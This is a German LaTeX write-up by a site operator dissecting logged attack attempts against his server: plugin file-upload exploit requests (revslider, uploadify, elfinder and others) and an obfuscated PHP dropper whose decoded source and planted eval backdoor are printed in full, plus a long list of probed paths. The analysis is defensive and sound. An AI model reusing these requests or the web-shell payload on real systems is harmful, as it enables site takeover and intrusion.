\documentclass[a4paper, 11pt]{article}
\renewcommand{\familydefault}{\sfdefault}
\usepackage{a4wide}
\usepackage[utf8]{inputenc}
\usepackage[ngerman]{babel}
\usepackage{color}
\usepackage{graphicx}
\usepackage{setspace}
\usepackage{ulem}
\usepackage{listings}
\usepackage{float}
\usepackage[rflt]{floatflt}
\usepackage{tabularx}
\setlength{\parindent}{0pt}
\title{Angriff auf PHP basierte Services}
\usepackage[
pdftitle={Angriff auf PHP basierte Services}
pdfsubject={Der Versuch einen WordPress Service zu hacken.}
pdfauthor={Udo Schmal}
pdfkeywords={Administration, PHP, Angriff}
]{hyperref}
\definecolor{darkblue}{rgb}{0,0,.5}
\hypersetup{pdftex=true, colorlinks=true, breaklinks=true, linkcolor=darkblue, menucolor=darkblue, pagecolor=darkblue, urlcolor=darkblue}
\begin{document}Angriff auf PHP basierte Services
\singlespacing
{\LARGE \textbf{\label{sec:title}Angriff auf PHP basierte Services}}

Hier  der Versuch einen WordPress Service zu hacken, dieses Szenario so passiert am 19.02.2017 auf diesem Service, hat natürlich nicht geklappt, da mein Server keine Scriptsprachen unterstützt und der Service kein WordPress ist.

\textbf{Achtung diese Auflistung ist nicht vollständig}, zahlreiche weitere Versuche sind noch aufgelaufen, die folgenden sind jedoch aus meiner Sicht die interessantesten Beispiele.

\singlespacing
{\Large \textbf{Erster Versuch:}}

Ein simpler  File Upload Versuch:\newline

\begin{lstlisting}[breaklines]POST /modules/mod\_simplefileuploadv1.3/elements/udd.php
Content-Type: multipart/form-data
Content-Length: 442\end{lstlisting}

Form data:
\begin{lstlisting}[breaklines]file: T6efnL.php
file\_name: T6efnL.php
submit: Upload\end{lstlisting}

Anschließend der Aufruf:
\begin{lstlisting}[breaklines]GET /modules/mod\_simplefileuploadv1.3/elements/T6efnL.php\end{lstlisting}

\singlespacing
{\Large \textbf{Zweiter Versuch:}}

Ein Versuch über den Weg Plugin Update \newline

\begin{lstlisting}[breaklines]POST /wp-admin/admin-ajax.php
Content-Type: multipart/form-data
Content-Length: 546\end{lstlisting}

Form data:
\begin{lstlisting}[breaklines]update\_file: T6efnL.php
update\_file\_name: T6efnL.php
action: revslider\_ajax\_action
client\_action: update\_plugin\end{lstlisting}

Anschließend der Aufruf:
\begin{lstlisting}[breaklines]GET /wp-content/plugins/revslider/temp/update\_extract/T6efnL.php\end{lstlisting}

\singlespacing
{\Large \textbf{Dritter Versuch:}}

Nutzen aller möglichen Plugins in denen ein File Upload möglich ist, hier ein paar Beispiele:\newline

\begin{lstlisting}[breaklines]POST /
Content-Type: multipart/form-data
Content-Length: 535\end{lstlisting}

Form data:
\begin{lstlisting}[breaklines]yiw\_contact[]: T6efnL.php\newline
yiw\_contact[]\_name: T6efnL.php\newline
yiw\_action: sendemail\newline
id\_form: a\_3\_3\end{lstlisting}

Anschließend der Aufruf:
\begin{lstlisting}[breaklines]GET /wp-content/uploads/T6efnL.php\end{lstlisting}

und der nächste File Upload Versuch:
\begin{lstlisting}[breaklines]POST /uploadify/uploadify.php?folder=/
Content-Type: multipart/form-data
Content-Length: 427
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\end{lstlisting}

Form data:
\begin{lstlisting}[breaklines]Filedata: T6efnL.php
Filedata\_name: T6efnL.php
1: 1\end{lstlisting}

Anschließend der Aufruf:
\begin{lstlisting}[breaklines]GET /T6efnL.php\end{lstlisting}

und der nächste File Upload Versuch:
\begin{lstlisting}[breaklines]POST /sites/all/libraries/elfinder/php/connector.minimal.php
Content-Type: multipart/form-data
Content-Length: 580
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0\end{lstlisting}

Form data:
\begin{lstlisting}[breaklines]upload[]: T6efnL.php
upload[]\_name: T6efnL.php
cmd: upload
target: l1\_Lw
html: 1\end{lstlisting}

Anschließend der Aufruf:
\begin{lstlisting}[breaklines]GET /sites/all/libraries/elfinder/files/T6efnL.php\end{lstlisting}

\singlespacing
{\Large \textbf{Vierter Versuch: \newline
}}

\singlespacing
{\large \textbf{Die interessantesten Werte aus dem http header:}}
\begin{lstlisting}[breaklines]Content-Type: application/x-www-form-urlencoded
Content-Length: 1268
User-Agent: Mozilla/5.0+(compatible; Googlebot/2.1; +http://www.google.com/bot.html)\end{lstlisting}

Lustig ist das dieser böse Angreifer sich auch noch als Googlebot ausgibt.

\singlespacing
{\large \textbf{Der urlencoded content des POSTs\newline
}}
\begin{lstlisting}[breaklines]z3: VDZlZm5MLnBocA==
z4: Lw==
RoyZ: @eval/**/(\$\{'\_P'.'OST'\}[z9]/**/(\$\{'\_POS'.'T'\}[z0]));
z9: BaSE64\_dEcOdE
z0:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyRucGF0aD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkJhU0U2NF9kRWNPZEUoJF9HRVRbJ3o0J10pO2Z1bmN0aW9uIGNyZWF0ZUZvbGRlcigkcGF0aCl7aWYoIWZpbGVfZXhpc3RzKCRwYXRoKSl7Y3JlYXRlRm9sZGVyKGRpcm5hbWUoJHBhdGgpKTtta2RpcigkcGF0aCwgMDc3Nyk7fX1jcmVhdGVGb2xkZXIoJG5wYXRoKTtlY2hvKCItPnwiKTs7JGM9JF9QT1NUWyJ6MiJdOyRmPSRucGF0aC5CYVNFNjRfZEVjT2RFKCRfR0VUWyJ6MyJdKTskYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTskYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTskYnVmPSIiO2ZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTIpJGJ1Zi49dXJsZGVjb2RlKCIlIi5zdWJzdHIoJGMsJGksMikpO2VjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
z2: EFBBBF3C3F70687020282473756E203D20245F504F53545B276E6E64275D292026262040707265675F7265706C61636528272F61642F65272C2740272E7374725F726F743133282772696E7927292E27282473756E29272C202761646427293B3F3E6C736C666A73646C666B6A73646A6C665344466C666A7037393334393337343935373324257364666A6B6C6B68676F657269676E65616C726E67763133723521232425252426252A5E262425245E262A28524A4C515745524C515757455224252526252640252324255E25265E262A2A262829282925402421232525\end{lstlisting}

\singlespacing
{\large \textbf{Der POST ging an etliche Urls:}}

/images/1ndex.php, /sqlbak.php, /email.php, /functions.php, /logs.asp, /cache/news.php, /tmp.php, /shootme.php, /configurationbak.php, /robots.txt.php, /jconfig.php, /media/reads.php, /media/1ndex.php, /sql\_dump.php, /images/laj.php, /tmp.php, /media/404.php, /media/tmp.php, /r3x.php, /log.php, /images/stories/0day.php, /includes/u2p.php, /images/xxx.php, /al277.php, /cache/cache\_aqbmkwwx.php, /install.php, /dswat.org/wsdl.php, /robot.php, /wsdl.php, /goog1es.php, /site/tmp/cTivrC.php, /update.php, /includes.php, /wp-main.php, /news.php, /images/al277.php, /webconfig.txt.php, /administrator/webconfig.txt.php, /cache/cachee.php, /thumb.php, /administrator/dbconfig.php, /administrator/administrator.php, /SessionController.php, /maill.php, /webconfig.txt.php.suspected, /error-log.php, /authenticating.php, /google-assist.php, /images/google-assist.php, /images/robots.txt.php, /elements.php, /xmlsrpc.php, /wp-cache.php, /images/404.php, /images/head.php, /cache/support.php, /RoseLeif.php, /Abbrevsprl.php, /show.php, /images/defau1t.php, /cli/40dd1d.php, /administrator/includes/readmy.php, /infos.php, /cache/defau1t.php, /bookmark.php, /configbak.php, /wp-data.php, /wp-content/plugins/Fbrrchive.php, /wp-content/uploads/Fbrrchive.php, /wp-content/plugins/myshe.php, /wp-content/plugins/wp-cache.php, /wp-content/plugins/wp-footers.php, /wp-content/plugins/wpfootes.php, /wp-content/plugins/sql\_dump.php, /wp-content/plugins/SocketIontrol.php, /wp-content/plugins/SocketIasrgasfontrol.php, /configurationbak.php.suspected, /wp-content/plugins/Analyser.php, /cache/list.php

\singlespacing
{\large \textbf{mit den folgenen Query Parametern:}}
\begin{lstlisting}[breaklines]z3=VDZlZm5MLnBocA\%3d\%3d
z4=L2ltYWdlcy8\%3d\end{lstlisting}

\textbf{Über diesen Angriff wird versucht im Verzeichnis /images/ des Webauftrittes eine Datei T6efnL.php anzulegen, mit dem Datenstrom aus z2.}
\begin{lstlisting}[breaklines]RoyZ = \$\_POST[z9] \$\_POST[z0] // BaSE64\_dEcOdE data of z0\end{lstlisting}
\begin{lstlisting}[breaklines]@ini\_set(\&quot;display\_errors\&quot;,\&quot;0\&quot;);
@set\_time\_limit(0);
@set\_magic\_quotes\_runtime(0);
\$npath=\$\_SERVER['DOCUMENT\_ROOT'].BaSE64\_dEcOdE(\$\_GET['z4']); // BaSE64\_dEcOdE(\$\_GET['z4']) =\&gt; '/images/'
function createFolder(\$path)\{
  if(!file\_exists(\$path))\{
    createFolder(dirname(\$path));
    mkdir(\$path, 0777);
  \}
\}
createFolder(\$npath);
echo(\&quot;-\&gt;|\&quot;);;
\$c=\$\_POST[\&quot;z2\&quot;];
\$f=\$npath.BaSE64\_dEcOdE(\$\_GET[\&quot;z3\&quot;]); // BaSE64\_dEcOdE(\$\_GET[\&quot;z3\&quot;]) =\&gt; T6efnL.php
\$c=str\_replace(\&quot;\textbackslashr\&quot;,\&quot;\&quot;,\$c);
\$c=str\_replace(\&quot;\textbackslashn\&quot;,\&quot;\&quot;,\$c);
\$buf=\&quot;\&quot;;
for(\$i=0;\$i\&lt;strlen(\$c);\$i+=2)\$buf.=urldecode(\&quot;\%\&quot;.substr(\$c,\$i,2));
echo(@fwrite(fopen(\$f,\&quot;w\&quot;),\$buf)?\&quot;1\&quot;:\&quot;0\&quot;);;
echo(\&quot;|\&lt;-\&quot;);
die();\end{lstlisting}

\singlespacing
{\large \textbf{Der Datenstrom aus z2 ergibt}}
\begin{lstlisting}[breaklines]\&lt;?php (\$sun = \$\_POST['nnd']) \&amp;\&amp; @preg\_replace('/ad/e','@'.str\_rot13('riny').'(\$sun)', 'add');?\&gt;lslfjsdlfkjsdjlfSDFlfjp793493749573\$\%sdfjklkhgoerignealrngv13r5!\#\$\%\%\$\&amp;\%*\textasciicircum\&amp;\$\%\$\textasciicircum\&amp;*(RJLQWERLQWWER\$\%\%\&amp;\%\&amp;@\%\#\$\%\textasciicircum\%\&amp;\textasciicircum\&amp;**\&amp;()()\%@\$!\#\%\%\end{lstlisting}

\textbf{str\_rot13('riny') =\&gt; eval }
\begin{lstlisting}[breaklines]\&lt;?php (\$sun = \$\_POST['nnd']) \&amp;\&amp; @preg\_replace('/ad/e','@eval.'(\$sun)', 'add');?\&gt;lslfjsdlfkjsdjlfSDFlfjp793493749573\$\%sdfjklkhgoerignealrngv13r5!\#\$\%\%\$\&amp;\%*\textasciicircum\&amp;\$\%\$\textasciicircum\&amp;*(RJLQWERLQWWER\$\%\%\&amp;\%\&amp;@\%\#\$\%\textasciicircum\%\&amp;\textasciicircum\&amp;**\&amp;()()\%@\$!\#\%\%\end{lstlisting}
\end{document}